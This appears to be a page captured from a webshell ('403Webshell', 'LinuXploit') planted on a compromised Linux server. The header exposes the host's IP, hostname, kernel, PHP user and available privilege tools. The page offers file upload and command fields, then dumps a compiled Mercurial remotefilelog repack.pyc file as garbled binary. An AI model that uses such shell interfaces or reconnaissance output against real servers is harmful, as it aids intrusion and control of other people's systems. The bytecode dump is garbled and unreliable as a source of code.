403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /lib64/python3.9/site-packages/hgext/remotefilelog/__pycache__/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /lib64/python3.9/site-packages/hgext/remotefilelog/__pycache__/repack.cpython-39.opt-1.pyc
a

�+�b�y�@sXddlmZddlZddlZddlmZddlmZddlm	Z	m
Z
mZm
Z
mZmZmZmZmZddlmZddlmZmZmZmZmZmZe�d	�ZGd
d�de
j�Zd0dd�Z d1dd�Z!d2dd�Z"dd�Z#dd�Z$dd�Z%d3dd�Z&dd�Z'dd�Z(d d!�Z)d"d#�Z*d4d$d%�Z+d5d&d'�Z,Gd(d)�d)e-�Z.Gd*d+�d+e-�Z/Gd,d-�d-e-�Z0d.d/�Z1dS)6�)�absolute_importN)�_��short)	�encoding�error�lock�mdiff�policy�pycompat�scmutil�util�vfs)�procutil�)�	constants�contentstore�datapack�historypack�
metadatastore�shallowutil�osutilc@seZdZdS)�RepackAlreadyRunningN)�__name__�
__module__�__qualname__�rr�@/usr/lib64/python3.9/site-packages/hgext/remotefilelog/repack.pyr srTFcCs�t��d|jdg}td�}|r0|�d�td�}|r>|�d�|j�|�i}|j�dd�rh|jj|d	<tj	|t
jfd
di|��dS)Ns-R�repacks(running background repack)
s
--incrementals((running background incremental repack)
s--packsonlysdevelsremotefilelog.bg-waitZrecord_waitZensurestartF)rZhgexecutableZorigrootr�append�ui�warn�
configbool�atexitZrunbgcommandr�environ)�repoZincrementalZ	packsonly�cmd�msg�kwargsrrr�backgroundrepack$s

r)c
Cs�t�|d�rNtj|j�}tj|jddi�}t�	|t
j�}t||||t
j|d�t�|j
d�r�t|�\}}|\}}}	|\}
}}tj|�}tj|ddi�}t||||
t
j|d�tj|ddi�}tj|	ddi�}t||||t
j|d�dS)zIIf ``packsonly`` is True, stores creating only loose objects are skipped.�shareddatastores�allowincompleteT��options�	datastoreN)r
�safehasattrr�unioncontentstorer*r�unionmetadatastore�sharedhistorystoresr�getcachepackpathr�FILEPACK_CATEGORY�
_runrepack�manifestlog�_getmanifeststores�TREEPACK_CATEGORY)
r%r-�
datasource�
historysource�packpath�	localdata�
shareddata�	lpackpath�ldstores�lhstores�	spackpath�sdstores�shstoresrrr�
fullrepack5sl����	


���
�����rDc	Cs�t�|d�r4t�|tj�}t||j|j|tj|d�t�|j	d�r�t
|�\}}|\}}}|\}}	}
t||	|
|tj|d�t||||tjd|d�dS)z�This repacks the repo by looking at the distribution of pack files in the
    repo and performing the most minimal repack to keep the repo in good shape.
    r*r,r.T)�allowincompletedatar-N)r
r/rr3rr4�_incrementalrepackr*r2r6r7r8)r%r-r;r<r=r>r?r@rArBrCrrr�incrementalrepackmsB��	

�
�rGcCsV|jj}|jj}|jj}|jj}t�|tj�}t�	|j
jjtj�}|||f|||ffS�N)
r6r*�localdatastoresr2�localhistorystoresrr3rr8Zgetlocalpackpath�svfsr�base)r%r*rIr2rJZsharedpackpathZ
localpackpathrrrr7�s���r7cs0t�fdd�|D��}t�fdd�|D��}|S)Nc3s|]}tj��|�VqdSrH)�os�path�join��.0�p)r;rr�	<genexpr>��z_topacks.<locals>.<genexpr>c3s|]}�|�VqdSrHrrP)�constructorrrrS�rT)�list)r;�filesrU�pathsZpacksr)rUr;r�_topacks�srYcs�|j�dd���dkr|Sddg���fdd�|D���D]P}tj�||�}�D]8}||}|j�d|t�t�|�j	�f�t�
|�qPq:�fd	d
�|D�S)zsDeletes packfiles that are bigger than ``packs.maxpacksize``.

    Returns ``files` with the removed files omitted.�packssmaxpacksizers	.datapacks.dataidxcs@h|]8\}}}|j�krtj�|�d�vrtj�|�d�qS)rr)�st_sizerMrN�splitext)rQrNZftype�stat)�	VALIDEXTS�maxsizerr�	<setcomp>�s�z"_deletebigpacks.<locals>.<setcomp>s#removing oversize packfile %s (%s)
cs$g|]}tj�|d��vr|�qS)r)rMrN�basename)rQ�row)�	oversizedrr�
<listcomp>�rTz#_deletebigpacks.<locals>.<listcomp>)r �configbytesrMrNrO�debugr
Z	bytecountr]r[�unlink)r%ZfolderrWZ	rootfnameZrootpath�extrNr)r^r_rcr�_deletebigpacks�s$���ric
Cs�t�|j|�tj|dd�}t|||�}t|t|j|�tj�}|�	dd�|D��t|t
|j|�tj�}	|	�	dd�|D��t|tj
tj�}
t|dd�|
D�tj�}|�	dd�|D��t|tj|d|i�tj|	ddi�||tj|ddi�|d	�dS)
NT)r]css|]}t|tj�s|VqdSrH)�
isinstancerZ
datapackstore�rQ�srrrrS�sz%_incrementalrepack.<locals>.<genexpr>css|]}t|tj�s|VqdSrH�rjrZhistorypackstorerkrrrrS�s�css|]\}}}|VqdSrHr)rQ�f�moder]rrrrS�rTcss|]}t|tj�s|VqdSrHrmrkrrrrS�s�r+)�fullhistoryr-)r�mkstickygroupdirr r�listdirrirY�_computeincrementaldatapackr�extend�_computeincrementalhistorypackr�_allpackfileswithsuffix�
PACKSUFFIX�INDEXSUFFIXr5rr0rr1)r%r.Zhistorystorer;�categoryrEr-rWZ	datapacksZhistorypacksZallhistoryfilesZallhistorypacksrrrrF�sZ	�
�
�
�	
��
������rFcCsR|�dd�|�dd�|�dd�|�dd�|�dd�d�}t|tjtj�}t||�S)N�
remotefilelogsdata.gencountlimitsdata.generationssdata.maxrepackpackssdata.repackmaxpacksizesdata.repacksizelimit��
gencountlimit�generations�maxrepackpacks�repackmaxpacksize�repacksizelimit)�	configint�
configlistrervrrwrx�_computeincrementalpack�r rW�optsZ	packfilesrrrrss 

����
�rscCsX|�dd�|�dddg�|�dd�|�ddd�|�dd�d	�}t|tjtj�}t||�S)
Nrzshistory.gencountlimitshistory.generationss100MBshistory.maxrepackpacksshistory.repackmaxpacksizes400MBshistory.repacksizelimitr{)r�r�rervrrwrxr�r�rrrru%s(������
�ruc	Csbg}dd�|D�}|D]F\}}}|�|�s,q|dt|��}|||vrLq|�|||f�q|S)NcSsh|]\}}}|�qSrr)rQ�fnror]rrrr`@rTz*_allpackfileswithsuffix.<locals>.<setcomp>)�endswith�lenr)	rWZ
packsuffixZindexsuffix�resultZfileset�filenameror]�prefixrrrrv>s
rvc
	snttdd�|dD�dd��}|�d�g}t�t|��D]}|�g�q:i�|D]R\}}}|j}||dkrpqR|�|<t|�D]"\}}	||	kr�||�|�qRq�qRg}
t|�D]@\}}	t||�|dkr�|
�t||d�fd	d
�d��q�q�|
dd
�}|
d
d�}
t	�fdd�|D��}||dk�rj|
�rjt|�|dk�rj|�|
�
��|�|d7}�q"|S)a`Given a set of pack files along with the configuration options, this
    function computes the list of files that should be packed as part of an
    incremental repack.

    It tries to strike a balance between keeping incremental repacks cheap (i.e.
    packing small things when possible, and rolling the packs up to the big ones
    over time).
    css|]}t�|�VqdSrH)r
Z	sizetointrkrrrrSZrTz*_computeincrementalpack.<locals>.<genexpr>r}T)�reverserrr|cs�|SrHr)�x�Zsizesrr�<lambda>zrTz)_computeincrementalpack.<locals>.<lambda>)r��key���Nc3s|]}�|VqdSrHr�rQ�nr�rrrS�rTr�r~���)rV�sortedrrZxranger�r[�	enumeratert�sum�pop)
rWr�ZlimitsZgenerations�ir�ror]�size�limitZgenpacksZchosenpacksZ
repacksizerr�rr�OsH
�
�
���r�c
Cs�t�|j|�dd�}|j�dd�}|s,|}t||||||||d�}	t�|j|��p}
t�|j|��B}z|	�	|
|�Wn t
jy�tt
d���Yn0Wd�n1s�0YWd�n1s�0YdS)NcSsD|j||d�}||����}|j�dd�}t��|}|d|kS)z�Check if the file node is older than a limit.
        Unless a limit is specified in the config the default limit is taken.
        )Zfileidrzsnodettlr)�filectxZlinkrev�dater r��time)r%r��noder�ZfiletimeZttlr�rrr�isold�s
z_runrepack.<locals>.isoldrzsgcrepack)�gcr�r-s3skipping repack - another repack is already running)rrqr r"�repackerrZmutabledatapackrZmutablehistorypack�runrZLockHeldrr)r%�data�historyr;ryrpr-r��garbagecollectZpackerZdpackZhpackrrrr5�s2���r5cCsp|st�}n|}gd�}|j�ddd�}|r:|�d|�|j�ddd�}|r\|�d|�d�|�}d|g}t�||�}t�}d}t|j�D]�}	||	�	��
�|vr�||	����}
n$|r�||	�
��|�}
n||	�
�}
||	�
�}|�|	�t|
�tu�rDt�|
�D]4\}}|d	d	du�r|�|||d	d	���qq�t�|
�D]\}}
|�|||
���qNq�|S)
aComputes a keepset which is not garbage collected.
    'keyfn' is a function that maps filename, node to a unique key.
    'lastkeepkeys' is an optional argument and if provided the keepset
    function updates lastkeepkeys with more keys and returns the result.
    )�.sdraft()sparents(draft())rzspullprefetchNs(%s)sbgprefetchrevs�+ssort((%s), "topo")r)�setr ZconfigrrOrZrevrange�reversedZ_list�p1ZrevZmanifestctxZ	readdeltaZmanifest�diff�add�type�dictr�	iteritems)r%ZkeyfnZlastkeepkeys�keepkeysZrevsZprefetchrevsZkeepZ	processedZlastmanifest�r�mr�r�Zfilenoderrr�keepset�s<


r�c@sBeZdZdZddd�Zdd�Zdd	�Zd
d�Zdd
�Zdd�Z	dS)r�z^Class for orchestrating the repack of data and history information into a
    new format.
    FNc		Cs\||_||_||_||_t�|�|_||_||_|jrX|sBt	d��t
|dd��|_||_dS)Ns*Function 'isold' is not properly specifiedcSs||fSrHr)rnr�rrrr�rTz#repacker.__init__.<locals>.<lambda>)
r%r�r�rprZgetunits�unitr�r-�
ValueErrorr�r�r�)	�selfr%r�r�rpryr�r�r-rrr�__init__�szrepacker.__init__cCs�t�}tjt|j�dddd��n|j�d�|jj||jd�|j	j||jd�|�
||�|�||�|jD]}|�
|�qnWd�n1s�0YdS)Ns
repacklockr)Zdesc�timeouts	prerepackr,)�repackledger�lockmodr�
repacklockvfsr%�hookr�Z
markledgerr-r��
repackdata�
repackhistory�sourcesZcleanup)r�Z
targetdataZ
targethistory�ledger�sourcerrrr�s�
zrepacker.runc
s��s|Sd��fdd�	}t���tt�|dd���|jrZ|�d�d�dd	��D��f�t��D]F\}}|dkr��jjdf||<qb�|d
}	|	||	d
d
f||<qb�fdd	�|D�}|�7}|S)
aqReorderes ``orphans`` into a single chain inside ``nodes`` and
        ``deltabases``.

        We often have orphan entries (nodes without a base that aren't
        referenced by other nodes -- i.e., part of a chain) due to gaps in
        history. Rather than store them as individual fulltexts, we prefer to
        insert them as one chain sorted by size.
        rcs*�j��|�}tj|vr"|tjS|SdSrH)r��getmetar�METAKEYSIZE)r��default�meta)r�r�rr�getsize5s

z'repacker._chainorphans.<locals>.getsizeT)r�r�s%s: orphan chain: %s
s, cSsg|]}t|��qSrrrkrrrrdDrTz*repacker._chainorphans.<locals>.<listcomp>rcsg|]}|�vr|�qSrrr�)�orphansrrrdNrT)r)r�rVZ	debugflagrfrOr�r%�nullid)
r�r r��nodesr��
deltabasesr�r�r��parentr)r�r�r�r�
_chainorphans)s&	
��zrepacker._chainorphansc'
s*|jj}|�ddd�}i}t�|j�D]}|jr&||�|ji�|j	<q&d}|j
td�|jt
|�d�}tt�|��D�]�\}	}
|�|�i}tdd�|
D���g}|j
td	�d
t
��d�}
t��D]X\}}||vr�q�|
�|�z|�|jj|	||d��Wq�t�y|�|�Yq�0q�|
��tt|�|���}t
|�dk�rT|�dt
|��|�t|��tt�fd
d�|��}|j�r�g}|D]@}|	|f|jv�r�|�|j|	|��r�d|
|_ �q�|�|��q�|}i}t!�}t!�}t!���|j
td�d
t
|�d�}t|�D]�\}}|�|�|�"|d�}|du�rX|jj#d}}|jj#df||<|�$|�n|\}}|�$|�|�"|�}|�r|\}}}}|�r�|jj#}||k�r||jj#k�r�||df||<||jj#k�r||df||<�q|�%dd��r||}|�&||	|||�}t|�D]�\}}||\}}||jj#k�r�|j'�(|	|�}|\} }!}"}#|#�"t)j*�}$|!|	k�st|"|k�st|$du�r�|j'�"|	|�}%|j'�"|	|�}&t
|&�}$t+�,|%|&�} n$|j'�"|	|�} t
| �}$|j'�-|	|�}#t)j*|#v�r�|$|#t)j*<|�$|	||| |#�d|
|_.�q|��|d7}qr|��|j/|d�dS)NrZsmaxchainleni�rsrepacking data�r��totalcss|]
}|VqdSrHr�rQr�rrrrScrTz&repacker.repackdata.<locals>.<genexpr>sbuilding historysnodes�Zknowns%repackdata: %d nodes without history
cs|�vSrHr)r��r�rrr��rTz%repacker.repackdata.<locals>.<lambda>Tsprocessing nodesrrschainorphansbysize�r�)0r%r r�r�
itervalues�entriesr9�
setdefaultr�r��makeprogressrr�r�r�r��updaterVr�rp�getancestors�KeyErrorr�completer��	_toposortrfrt�filterr�r�r��gcedr��getr�r�r"r�r�Zgetdeltarr�r	Ztextdiffr��datarepacked�close)'r�r��targetr Zmaxchainlen�byfile�entry�countZrepackprogressr�r��	ancestorsZ	nohistoryZ
buildprogressr�r��orderednodesZneworderednodesr�ZnobaseZ
referencedZprocessprogressZ
deltatupleZ	deltabaseZchainlenZancestorinfor��p2�linknode�copyfromr�Z
deltaentryZdeltaZ
deltabasenameZ
origdeltabaser�r�Z
deltabasetext�originalrr�rr�Rs��
�
��
���
�





����

zrepacker.repackdatac
Cs�|jj}i}t�|j�D]}|jr||�|ji�|j<q|j	t
d�|jt|�d�}t
t�|��D�]\}}i}	tdd�|D��}
|
D]&}||	vr�q�|	�|jj|||	d��q�t|�|	��}t�}
|D]�}|	|\}}}}||
v�r&||v�r&||jjk�r||k�r|
�|�||jjkr�|
�|�q�|�r6|
�|�|�||||||�||vr�d||_q�|��q`|��|j|d�dS)Nsrepacking historyr�css|]
}|VqdSrHrr�rrrrS�rTz)repacker.repackhistory.<locals>.<genexpr>r�Tr�)r%r rr�r�r:r�r�r�r�rr�r�r�r�rVr�r�r�r�r�r�r�r��historyrepackedZ	incrementr�r�)r�r�r�r r�r�Zprogressr�r�r�r�r�r�Zdontprocessr�r�r�r�rrrr��sF��	



zrepacker.repackhistorycs"��fdd�}t����|�}|S)NcsD�|\}}}}g}|�jjkr*|�|�|�jjkr@|�|�|SrH)r%r�r)r�r�r�r�r��parents�r�r�rr�
parentfunc+s

z&repacker._toposort.<locals>.parentfunc)rZ	sortnodes�keys)r�r�r�Zsortednodesrr�rr�*s	zrepacker._toposort)FNN)
rrr�__doc__r�r�r�r�r�r�rrrrr��s�
)<r�c@s8eZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�ZdS)
r�z�Storage for all the bookkeeping that happens during a repack. It contains
    the list of revisions being repacked, what happened to each revision, and
    which source store contained which revision originally (for later cleanup).
    cCsi|_i|_t�|_dSrH)r�r�r��created)r�rrrr�>szrepackledger.__init__cCs@|�||�}d|_|j�|�}|s2t�}||j|<|�|�dS)z`Mark the given filename+node revision as having a data rev in the
        given source.
        TN)�_getorcreateentryr9r�r�r�r��r�r�r�r�r�r�rrr�
markdataentryCs
zrepackledger.markdataentrycCs@|�||�}d|_|j�|�}|s2t�}||j|<|�|�dS)zcMark the given filename+node revision as having a history rev in the
        given source.
        TN)r�r:r�r�r�r�r�rrr�markhistoryentryOs
zrepackledger.markhistoryentrycCs0||f}|j�|�}|s,t||�}||j|<|SrH)r�r��repackentry)r�r�r�r��valuerrrr�[s

zrepackledger._getorcreateentrycCs|j�|�dSrH)r�r�)r�r�rrr�
addcreateddszrepackledger.addcreatedN)	rrrr�r�r�r�r�r�rrrrr�8s	r�c@seZdZdZdZdd�ZdS)r�zFSimple class representing a single revision entry in the repackledger.�r�r�r9r:r�r�r�cCs.||_||_d|_d|_d|_d|_d|_dS)NFr�)r�r�r�rrrr�uszrepackentry.__init__N)rrrr��	__slots__r�rrrrr�hs
r�cCs.t�|d�r$t�|tj�}t�|�S|jSdS)N�name)r
r/rr3rr4rrK)r%Zsharedcachepathrrrr��s�
r�)TF)N)N)FN)NN)N)2Z
__future__rrMr�Zmercurial.i18nrZmercurial.noderZ	mercurialrrrr�r	r
rrr
rZmercurial.utilsr�rrrrrrZ	importmodrZAbortrr)rDrGr7rYrirFrsrurvr�r5r��objectr�r�r�r�rrrr�<module>s>, 	


8
,&�
>?�
,
>C0

Youez - 2016 - github.com/yon3zu
LinuXploit